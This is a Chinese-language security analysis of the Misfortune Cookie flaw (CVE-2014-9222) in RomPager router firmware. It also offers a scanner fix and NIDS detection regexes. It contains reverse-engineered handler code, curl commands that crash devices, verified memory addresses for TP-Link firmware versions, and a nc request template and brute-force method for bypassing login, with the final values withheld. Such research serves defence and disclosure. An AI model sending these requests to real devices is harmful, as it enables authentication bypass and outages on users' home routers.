Misfortune Cookie漏洞再分析

安全研究部 陈庆

受影响的 RomPager 在处理 Cookie 时存在安全漏洞，攻击者通过发送精心构造的 Cookie 有可能绕过登录认证机制。这个漏洞被分配成 CVE-2014-9222。攻击者只需要向受影响的设备发送一个报文即可完成攻击。本文针对漏洞原理、漏洞利用技术进行了再分析，同时给出了 NIDS 检测方案。

一、ZyNOS 简介

ZyNOS 是 "ZyXEL Network Operating System" 的缩写，最早出现于 1998 年。

ZyXEL 即合勤科技，1989 年在台湾成立。

ZyNOS 是一种嵌入式实时操作系统 RTOS(ThreadX RTOS by Green Hills)，可以简单理解成 VxWorks、pSOS 那一类的，也可以理解成 Cisco IOS 之类的。没有普通意义上的文件系统、可执行程序，不区分用户态、内核态，代码、数据位于一个大的二进制映像文件中。但大映像中确实包含了图片、HTML 等内容，也能提供 WWW 服务。设备加电启动时，较早期的引导组件负责将这个大映像文件从 Flash 直接加载到内存中固定地址，然后跳到指定位置继续执行。对于映像文件，一般最开始是自解压代码，负责将位于映像中部的各个压缩块解压，将控制权交给解压产生的代码。

ZyNOS 中使用了 AllegroSoft 出品的 RomPager，后者是一种 WWW Server。

ZyNOS 为很多家庭网络设备所用，比如 TP-Link、D-Link、华为、中兴等厂商生产的家庭网关、无线路由器，其部分型号就使用了 ZyNOS。至于这些厂商与 ZyXEL 的合作方式是什么，不太清楚。

二、漏洞简介

2014 年 12 月 18 日，CheckPoint 披露名为 "Misfortune Cookie" 的漏洞，并给了一份受影响设备型号列表。相关厂商包括但不限于：

- ASUS(华硕)
- D-Link
- Edimax
- Huawei(华为)
- TP-Link

ZTE(中兴)

ZyXEL(合勤科技)

受影响的 RomPager 在处理 Cookie 时存在安全漏洞，攻击者通过发送精心构造的 Cookie 有可能绕过登录认证机制。这个漏洞被分配成 CVE-2014-9222。攻击者只需要向受影响的设备发送一个报文即可完成攻击。

CheckPoint 声称不需要额外的黑客工具，只需要普通浏览器即可完成攻击。确实如此。

据称 RomPager 4.34 之前的版本，尤其是 4.07 版存在该漏洞。

事实上 AllegroSoft 于 2005 年就已经确认该漏洞存在，同时提供了 RomPager 升级版本。不知为何，时至 2015 年，仍有大批存在漏洞的 RomPager 存活于互联网上。

Misfortune Cookie 漏洞在安全圈的翻炒下升温很快。

三、漏洞原理

下面的伪 C 代码是针对 MIPS 汇编的逆向分析结果：

```
void PrivateHttpCookieHandler ( char * sth, char * cookie )
{
    unsigned int    len;
    char          *cookie_end,
                  *p,
                  *q;
    char          (*c)[40];
    /*
     * 以 \r、\n 为结尾符获取字符串长度
     */
    len         = Private_strlen_1( cookie );
    cookie_end  = cookie + len;

    p           = cookie;
    while ( p < cookie_end )
    {
        if ( 'C' == *p )
        {
            /*
             * 'C' 后的字符所在
             */
            p++;
            /*
             * 寻找 '='
             */
            q       = Private_strchr( p, '=' );
            /*
             * 将 '=' 清成 \0
             *
```

```
        * 此处未检查 q 是否等于 NULL，假设肯定能找到
'='，错误假设。
        */
        *q      = '\0';
        /*
        * 比如有 "C19=..."，此时 p 指向 "19"，i 最终等于 19。
        *
        * 此处问题很多，p 指向的内存很可能不是我们想
要的那种。
        *
        * curl -H 'Cookie: C' 192.168.1.1
        * curl -b 'C1=1;C' 192.168.1.1
        */
        index   = Private_atoi( p );
        /*
        * ptr to cookie value
        */
        p       = q + 1
        /*
        * 以 \r、\n、\t、分号、逗号为结尾符获取字符串长度
        */
        len     = Private_strlen_2( p );
        /*
        * 单个 Cookie 结尾符所在
        */
        q       = p + len;
        /*
        * 单个 Cookie 结尾符清成 \0
        */
        *q      = '\0';
        /*
      * 某结构的固定偏移，这里有一个二维数组，char[n][40]
        */
        c       = sth + 0x5F68;
        /*
        * 将 "cookie value" 复制到 c[index][40]
        *
        * 对于确定型号、版本的 Firmware，c 是固
定的，index 和 p 指向的内容
        * 是客户端可控值，这导致 " 任意内存地址写 " 漏洞。
        */
        Private_strncpy( c[index], p, 40 );
    }
    else
```

```
{
    /*
     * 寻找 '='
     */
    q   = Private_strchr( p, '=' );
    if ( NULL != q )

    {
        /*
      * 以 \r、\n、\t、分号、逗号为结尾符获取字符串长度
         */
        len = Private_strlen_2( q );
        q   = q + len;
    }
    else
    {
        q   = p
    }
}
if ( q < cookie_end )
{
    /*
     * 下一个 Cookie
     */
    q++;
    /*
     * 越过空格、冒号、\t，返回指针
     */
    p   = PrivateSkipSth( q );

  }
  else
  {
      break;
  }
 } /* end of while */
 return;
} /* end of PrivateHttpCookieHandler */
```

PrivateHttpCookieHandler() 用于处理来自客户端的 Cookie，这里存在几个漏洞。

它会在 Cookie 中寻找形如 "C<num>=<str>" 的数据，先找到 "C"，然后继续找 "="。它假设肯定能找到 "="，并将 "=" 清成 "\0"。用于寻找 "=" 的函数有可能返回 NULL，程序中没有考虑这种情形，不管三七二十一地就将返回值当成有效指针，并将其指向内容清零。考虑：

```
curl -H 'Cookie: C' 192.168.1.1
curl -b 'AnyKey=AnyValue;C' 192.168.1.1
```

这必将导致空指针写，崩溃。即使 Cookie 确实形如 "C<num>=<str>"，存在更致命的漏洞。<num> 实际是二维数组的一维下标：

```
char    C_Array[10][40];
```

<num> 的有效范围是 [0,9]。<str> 会被复制到 <num> 对应的内存：

```
strncpy( C_Array[num], str, 40 );
```

由于正确使用了 strncpy()，所以 <str> 本身超长不会造成缓冲区溢出。但程序没有对 <num> 进行范围检查，其可以是任意值，考虑 32-bits 整数回绕，<num> 甚至可以是负数。C_Array 的地址对于确定型号、版本的目标设备而言，是一个固定值。通过控制 <num> 可以精确控制 strncpy() 的目标地址，而 <str> 也是可控的，这就形成 " 任意内存地址写 " 漏洞。

假设存在一个全局变量用于标识启用、禁用登录认证机制，利用前述漏洞改写全局变量，禁用登录认证机制，这就是 Misfortune Cookie 漏洞 (CVE-2014-9222) 的本质。

参看 "Misfortune Cookie (CVE-2014-9222) Demystified"。

```
> sys pswauthen 0
Do not need password authentication for configuration!
```

确实存在这样的全局变量，姑且称之为 auth_byte。在 IDA 中靠字符串的交叉引用间接定位 auth_byte。

四、某些 TP-Link 型号的相关数据

下面是我在深入研究该漏洞过程中收集、整理的一批实验数据：

```
TD-8820
    3.0.0 Build 091223 Rel.23304
        C_Array = 0x803C3018
        authoff = 0x80397E69
TD-W8901G
1.0.2 Build 080522 Rel.37708 ( 这是 Piotr Bania 所用版本 )
        C_Array = 0x803E9A40
        authoff = 0x803AB30D
    3.0.1 Build 100603 Rel.28484
        C_Array = 0x8041B3D4
        authoff = 0x803DC701
    3.0.1 Build 100901 Rel.23594
        C_Array = 0x80420554
        authoff = 0x803E1829
    6.0.0 Build 110119 Rel.25581
        C_Array = 0x804FA3E0
        authoff = 0x804BB941
    6.0.0 Build 110915 Rel.06942
```

```
    C_Array = 0x80517454
    authoff = 0x804D7CB9
TD-W8901N
  1.0.0 Build 121121 Rel.08870 ( 这是 Cawan 所用版本 )
    C_Array = 0x804163D4
    authoff = 0x8034FF94
TD-W8951ND
  1.0.0 Build 100723 Rel.23035
    C_Array = 0x803FD3F0
    authoff = 0x803D2D61
TD-W8961ND
  1.0.0 Build 100722 Rel.05210
    C_Array = 0x803FD3F0
    authoff = 0x803D2D61
```

C_Array + evilnum * 0x28　　= authoff

这里所有的四则运算都是 " 模 0x100000000" 四则运算。

要充分考虑这种情形 :

(authoff - C_Array) % 0x28　!= 0

此时 evilcookie 必须进行适当填充，这还得看实际被破坏数据是否无关大碍。

```
echo -ne "GET / HTTP/1.0\r\nCookie:
C<evilnum>=<evilcookie>\r\n\r\n" | nc -w 5 -n <target> 80
```

前面所列是用于攻击的精确数据，实测无误。为了避免为 Script Kids 所用，没有直接显示 evilnum、evilcookie。了解该漏洞原理的读者请自行推算。

五、漏洞利用技巧的探讨

我没有找到可能存在的神技巧快速、稳定地远程确定这些值 :

```
C_Array
authoff
evilnum
evilcookie
```

不过我尝试了一些别的技术手段。向 victim 发送如下 HTTP 请求 :

```
HEAD /rom-0 HTTP/1.0\r\n
Cookie: C<guessnum>=\r\n
\r\n
```

就 TP-Link 而言，在合适范围内暴力猜测 guessnum，有很大概率破坏下列两个字符串之一 :

```
%a, %d %b %Y %H:%M:%S GMT
application/octet-stream
```

此二者的改变会反映到 HTTP 响应中，从而可以远程识别。

考虑下列运算关系：

```
C_Array + guessnum * 0x28   = guessoff
C_Array + evilnum * 0x28    = authoff - off
off     = ( authoff - guessoff ) mod 0x28
evilnum = guessnum + ( authoff - guessoff ) / 0x28
```

从上述运算关系中可以看到，evilnum 与 guessnum、"authoff-guessoff" 相关，在已知 guessnum 的前提下，可以将猜测 evilnum 转换成猜测 "authoff-guessoff"，后者是 auth_byte 与 "%a, %d %b %Y %H:%M:%S GMT" 或 "application/octet-stream" 之间的相对偏移，这个相对偏移跨型号、跨版本之后，其范围相对有限。

理论上可以写程序暴力猜测 "authoff-guessoff"。现实比较残酷，这是任意内存地址写漏洞，暴力猜测时天知道什么东西被破坏了，出麻烦的概率不小。

六、Metasploit 扫描插件

Metasploit 有个针对该漏洞的扫描插件：

allegro_rompager_misfortune_cookie.rb

本意是：

```
$ curl -i http://192.168.1.1/Allegro
HTTP/1.1 200 OK
Content-Type: text/html
Date: Tue, 17 Mar 2015 10:35:27 GMT
Pragma: no-cache
Expires: Thu, 26 Oct 1995 00:00:00 GMT
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
EXT:
<html>
<head>
<title>Allegro Copyright</title></head><body>
RomPager Advanced Version 4.07<br>(C) 1995
 - 2002 Allegro Software Development Corporation
</body></html>
```

从响应报文的 HTTP Header 中析取 "Server: ..."，然后从中析取 RomPager 版本号，最后判断其是否小于 4.34，是则报漏洞。

相应代码如下：

```
fp  = http_fingerprint( response:res )
if /RomPager\/(?<version>[\d\.]+)$/ =~ fp
   if Gem::Version.new(version) < Gem::Version.new('4.34')
      report_vuln(
         host: ip,
         port: rport,
         name: name,
         refs: references
      )
      return Exploit::CheckCode::Appears
```

对于 192.168.1.1，fp 等于 "RomPager/4.07 UPnP/1.0"，插件所用正则表达式 "RomPager\/(?<version>[\d\.]+)$" 无法匹配 fp，导致漏报。插件作者 Jon Hart 可能缺少大规模扫描 banner 信息的经验。

前述插件中的正则表达式应该修改成：

```
RomPager\/(?<version>[\d\.]+).*$
```

或

```
RomPager\/(?<version>[\d\.]+)
```

这里 <version> 表示将 "[\d\.]+" 的匹配内容析取并赋给名为 version 的变量。

七、NIDS 建议

对于 Misfortune Cookie 漏洞，检查 HTTP 头中的 Cookie:

```
echo "Cookie: C0123456789=Anything" | grep -P "^Cookie.*[;,: \t]+C\d{2,}="
```

"C0001=Anything" 虽然是无害的，但不合常理，上述正则表达式仍会命中。

```
echo "Cookie: AnyKey=AnyValue;C" | grep -P "^Cookie.*[;,: \t]+C[^=]*$"
echo "Cookie: C" | grep -P "^Cookie.*[;,: \t]+C[^=]*$"
```

这是检查 "C" 后无 "=" 的情形，纯 DoS。

合并一下正则表达式：

```
echo "Cookie: C0123456789=Anything" | grep -P "^Cookie.*[;,: \t]+C(\d{2,}=|[^=]*$)"
```

八、其他

搞嵌入式设备的逆向工程，还是需要有硬件调试技能，单纯靠软件技能，受限太大，有时完全不能达成目标。至少可以将板子上的 SERIAL(UART/RS232)、JTAG(EJTAG) 接出来，如果会用示波器、逻辑分析仪等更佳。

CheckPoint 的人手头一定有某个版本的 ZyNOS 源代码，比如 C_Array 的一维下标范围是 [0,9]，单靠反汇编 RasCode 很难发现这点。他们提到了 ZyNOS 远程调试工具：

> ZORDON - ZynOs Remote Debugger (Over the Network)
>
> - Breakpoints
> - View/Edit Memory and Registers

除了他们的 PDF 中有提，在互联网上搜 ZORDON，没有任何其他信息，我相信他们有这玩意儿。

九、参考文献

Hacking and patching TP-LINK TD-W8901G router - Piotr Bania <bania.piotr@gmail.com> [2014-01-31]

http://piotrbania.com/all/articles/tplink_patch/

Misfortune Cookie Vulnerability - Lior Oppenheim [2014-12-18]

http://mis.fortunecook.ie/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9222

Misfortune Cookie Suspected Vulnerable List - [2014-12-22]

http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf

一些 CVE-2014-9222 细节 - Shahar Tal, Lior Oppenheim [2014-12-29]

http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf

Misfortune Cookie (CVE-2014-9222) Demystified - Cawan <cawan@ieee.org> or <chuiyewleong@hotmail.com> [2015-02-16]

http://cawanblog.blogspot.com/2015/02/misfortune-cookie-cve-2014-9222.html

Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Scanner

https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb